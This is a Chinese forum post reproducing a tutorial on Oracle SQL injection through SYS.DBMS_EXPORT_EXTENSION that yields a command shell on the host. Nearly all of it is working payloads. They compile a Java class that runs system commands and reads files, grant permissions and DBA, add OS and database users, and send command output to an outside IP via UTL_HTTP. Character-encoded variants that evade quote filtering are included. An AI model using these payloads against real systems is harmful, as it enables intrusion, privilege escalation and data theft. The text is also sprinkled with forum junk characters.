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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

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+ x3 P; G$ `& {9 |介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。4 _3 R# D9 B$ B. }

" |) z0 ]) G) }8 D5 i8 I! s+ D以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....); m: j/ D' |4 v) ?" Y- S

7 N: Z  b) F! S2 s6 k的形式即可。(用" 'a'|| "是为了让语句返回true值)3 B/ Y. p+ j/ @! ]; V1 l8 d
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语句有点长,可能要用post提交。
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以下是各个步骤:
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; d. h4 u8 ~6 B0 `6 {/ \' @  r1.创建包; }2 x# K7 V( V! R, |
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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2 ~3 L6 w+ x8 @, J; Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# x9 _/ j8 c, q6 _+ n4 b5 |8 Y# J! f
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(/ _1 y8 I) g) w) |# Z% _- H. D
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}/ n$ ~: J" O' E2 E; l* e9 ?
}'''';END;'';END;--','SYS',0,'1',0) from dual2 r3 f4 G/ }' i* h

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------------------------# t2 X8 t0 u2 t% M: W
如果url有长度限制,可以把readFile()函数块去掉,即:
: F' n# l5 K3 _( I0 x9 z- S/xxx.jsp?id=1 and '1'<>'a'||() Z+ z  s! a& t) g7 l& _7 U
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 I9 S7 j' U4 @
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
, ^* t1 _. \5 |4 x7 s5 Hnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
( Z& K$ x, ?6 a( J  y}'''';END;'';END;--','SYS',0,'1',0) from dual, x" k: Y" ^" V. H' ^5 J) u
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6 S4 i: H3 I" m同时把后面步骤 提到的 对readFile()的处理语句去掉。6 [' ]/ }2 p! {; u5 w5 i
------------------------------4 K! I+ W+ x. T
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2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual2 r3 N. k& d; j2 V+ W- n/ q
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3.创建函数* C& t/ H* O1 H% M' |

0 d& m+ V$ l, Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 Q! A( i/ C" X# l" E, y
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; s6 _: s5 c( ycreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限/ D0 H# ?* w/ a" E. n

; r4 i; W8 H4 T. x' }/ w$ K5 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual. Z- I( h* Z3 u$ y8 o  t: X
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual6 ~; y! C; ~0 r0 d, {3 u0 w$ I

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5.测试上面的几步是否成功
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: d$ O0 [' u& ^- R7 z$ X8 N! yand '1'<>'11'||(& G8 n3 a9 ^( z+ J, |
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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2 w$ I# E6 G8 p. E- Cand '1'<>(6 O7 _# o) b* x
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'  s! M8 N3 i3 d+ \- I% y7 k( B
)
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6.执行命令:5 C$ a- u3 T) y" B/ L$ P

: O% F7 x0 F; |) n/xxx.jsp?id=1 and '1'<>(
/ M0 H5 {! z; v+ i6 p3 q$ Y8 d/ tselect sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(8 L7 h1 q2 G" W8 S
select sys.LinxReadFile('c:/boot.ini') from dual2 P# G) s, u6 a% K  C  ?
)
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3 E/ |, U) `1 J0 J; J9 R注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
3 M: \/ F# e& W- c- c9 v0 \' H, N% R如果要查看运行结果可以用 union :
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& i* B) x4 j* G# M/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual. u. P- O: M5 S8 e- u

# P+ j/ F7 {& a- n& ^或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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/xxx.jsp?id=1 and '1'<>() F# d1 h% s7 @
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual4 f7 n! s2 h  v/ ^( Q8 a* P
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 ~  k, o* R. [6 k( e

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--------------------
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* |1 W* z  ^; i5 e5 v  }% ?6.内部变化5 Q; C9 m$ y3 I- \
通过以下命令可以查看all_objects表达改变:
3 l& Y! h' n3 W0 m& H8 zselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
" A/ u" j! p; ]  ^
% @8 F" r  {  q& k/ b+ L# k7.删除我们创建的函数4 [1 _0 j5 Y8 Z8 H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' \; q7 ?, \- L6 |; }% X, m
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
8 @, C  Z- M5 ~  c; p) H- n/ A全文结束。谨以此文赠与我的朋友。2 \2 @2 O( t& H3 Y" P% G

2 p4 K1 I2 N; Q# xlinx* `/ w! b( W# z9 X! f- v1 ^
124829445
* a  _& u2 V; Z/ t! j2008.1.12
% m) n# ]2 m5 j' W# i  D( Ylinyujian@bjfu.edu.cn
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======================================================================  G7 ~! u! j$ d2 q* Y8 `
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测试漏洞的另一方法:- ~5 K! R$ X! u. [

( ]( F" L' u; G创建oracle帐号:7 Q. f8 Q' b/ M) D3 ]* c, v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 e0 h2 P5 L0 ]1 v
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual% p% m- w  ?3 I# @

- z" T' J0 _! B) ?  ~即:
/ S6 P4 a' c  c5 e4 t% J4 @- jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
! Z6 ~  s/ W. [+ Bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 n, s" H4 }; V2 `
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确定漏洞存在:
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+ Y. P$ }. ]+ }1 \% _% K0 aselect user_id from all_users where username='LINXSQL'7 K5 g8 P8 y# O. {+ j# ~
)
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给linxsql连接权限:
5 A' ^. \5 _4 i2 k8 j7 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) U4 N" R& T* j, h8 X5 y( RGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual5 l8 g; M$ n6 X1 h; J; ]" |' q' A* o6 l
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删除帐号:8 B: [  z2 c! l3 G. e+ r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 S, s( |1 ?* M; G- ~; fdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual  h9 ?+ F/ H3 N: z3 }, P

" ?( @$ w5 m4 J& c9 l$ R# q======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:/ u' b" H' M2 P( g0 z

# z$ `5 y) x# Z: Z5 `0 }2 D- N1.jsp?id=1 and '1'<>(
' T6 \; k; b5 T. W; kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') B$ H) d1 Q) I1 v
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual9 E% s: d; u6 ^& _( {# V( W  Q
) and ...' C, m$ B! [8 Q* U" r# g/ k# `

) U' @+ v+ J, ~' N+ d1.jsp?id=1 and '1'<>(- X+ y5 o- g. i0 t  b$ O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual2 K% X. x4 V/ U3 i
) and ...
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1.jsp?id=1 and '1'<>(
5 e6 C+ {( x2 J# \' aSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL: U2 i/ n" q2 S+ ^- k
) and ..., c  r+ s4 |8 i6 C+ R. M& o
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1 P0 h( R# q0 s0 G1.jsp?id=1 and '1'<>(
6 S- _0 z3 O' l5 J4 FSELECT sys.Linx_Query('declare pragma
! g. ~- x% Q& P& r0 C+ ?) N$ D6 kautonomous_transaction; begin execute immediate ''
4 q1 I( t, h0 k# ~2 {3 _6 uselect 1 from dual! }9 l( N+ [) V6 Z. P
''; commit; end;') from dual6 z& b6 v  E* \7 u0 F# T
) and ...
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多语句:
8 j  v  I9 R$ O  XSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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, r, U1 d  X& ~( k! X创建用户(除非当前用户有system权限,否则无法成功):, O5 w6 X% x' s& a
SELECT sys.Linx_Query('declare pragma6 S, w* Z- s7 }; n* D: p
autonomous_transaction; begin execute immediate ''8 f- s/ }! H$ {0 w1 V
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
+ c$ m+ z/ t. ^& T8 i* |% T''; commit; end;') from dual
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) ]4 S+ |" I, c================
( k  T4 r5 D' p" p( D  Y% ]以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()/ ^# z" O$ R/ `5 i8 c
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1.创建函数3 l4 i6 e6 ]" @4 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 J- H  f& V4 x# `9 Q* N
create or replace function Linx_Query (p
+ F$ A; L# y8 g! }varchar2) return number authid current_user is begin execute immediate
( b! w1 E* D: ^. @- [p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;$ O" o/ {/ p9 m$ R0 N3 _% g

( s% p# U- U; R* c: X7 n0 S如果有权限,以下语句应该允许正常- t8 o9 {4 t8 v8 {
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:" H, O- d; A9 _8 i: L

# V3 w: c7 f( d7 A6 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* _' P& |7 z% e& L6 g- ^: O3 V  kgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual& i5 W6 U  Q! [, q. `* k7 Z1 j0 |

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4 l0 K6 @# g8 _3 f" K! U- r0 y$ H2.创建包
' }" h- ^% ~. B: w# LSELECT sys.Linx_Query('declare pragma3 N" |" C. G3 y
autonomous_transaction; begin execute immediate ''
- E) x# j6 x6 ycreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(. p- \1 ?3 j+ T; E4 U
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
7 f5 _0 [; B- G+ v6 x4 \+ Z
$ H' t( Z$ M6 E" p3.创建函数
+ t8 |8 y3 c& E6 m. |, dSELECT sys.Linx_Query('declare pragma
/ |4 F' _6 }* T) ^autonomous_transaction; begin execute immediate ''
5 Y! ~3 @, a, L6 z5 r- screate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual9 N0 ]" G8 Q5 `2 o' Q; d9 N

& K9 ~! X! S4 g8 O+ f4.给权限
7 a3 Z5 C+ r( @  v  Y$ q/ X( L给用户SYSTEM执行权限:* }0 H" l7 g1 v" O
8 Z, w; E! l6 V7 Q) q0 p
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
  \( h% K, \' e
9 J. _3 y# ~3 }, p/ {6 c* u3 H( p  c  c; P' ^4 r( q  S) G' ~) g
2 Q& @; b( W' T% v
5.执行函数+ d# l- q( [( u2 F) P! w. A
select RunCMD2('cmd /c dir') from dual+ C0 ?( L7 d( O7 c" t' n; I
/ `. `$ a) f/ X" T3 R7 _& o
- q$ {% t  Q1 e( N; e
7 t+ ]( S3 [0 U' ^! C' n" L+ Z- U

8 |; j% {8 d: x, G5 u6 {1 L/ s
3 }2 }4 S; d8 V0 R) D2 R+ y4 Z3 j==================
7 x  E' o, K4 H/ p8 {1 I/ L  y# \================================3 I4 A6 }9 f  m5 o4 x

# B2 w$ I& W2 ], o$ r以下是无 " ' " 版:/ e7 A3 [& X9 V2 }8 Q3 W5 i; R

* _2 d* E( C0 P' b% }以下是各个步骤:$ i' [) W) u9 ^* u0 v

% \0 S+ y( E! a1.创建包. |" x$ ~8 G. g5 a! A
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:) R5 i* [$ w8 f' r- j4 t
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
, o4 C% G7 `" Y3 P0 w) w
( {" m) O0 ]% v5 ~/xxx.jsp?id=1 and chr(49)<>chr(50)||(" U6 e( ?7 h, c+ L
; T. j4 k7 h! D* f+ M' j" k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),; t+ u, B2 o8 l- A+ Z
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
7 h) s( A4 A% q$ ^  `( ^* Lchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||9 V" t: @- k0 M0 W4 X& g( J* _
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||+ B" u) _8 B' ~2 p" v( B
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||" w; ?; u, E0 ~. M
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||) b0 Q  C+ O; I
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
. X, k" }% Y% F$ v5 m* Wchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||  o7 q# Z. ]. R6 M+ I# n5 U
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||$ |  H! n, p% |7 Y
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
: R4 A- U7 r3 @/ E: o* T3 Wchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||6 Q3 O4 x: p/ w) X/ E
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||& D( `" k& F% Z! ^/ G6 ^. w" u  T
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
) Z' f3 g- C, M7 ?chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
/ Y- M! D# O- \chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
5 d, ]$ f+ H* i! H, Z2 Dchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||- z# ~- \7 ^" d
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||6 {# r; a. {# M) T& D3 L# F
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||, @+ G* z$ s$ a. j8 T! @' @9 U
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
! }( j# Q- V5 d; a% Uchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
- b* n. K' m6 s5 Ochr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||/ Q" G9 g1 n9 T9 M
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
9 x2 @4 \0 }+ |8 {& U  s; \chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
- ], N8 b* b; v( D7 vchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||6 T/ A% M. \! P4 T
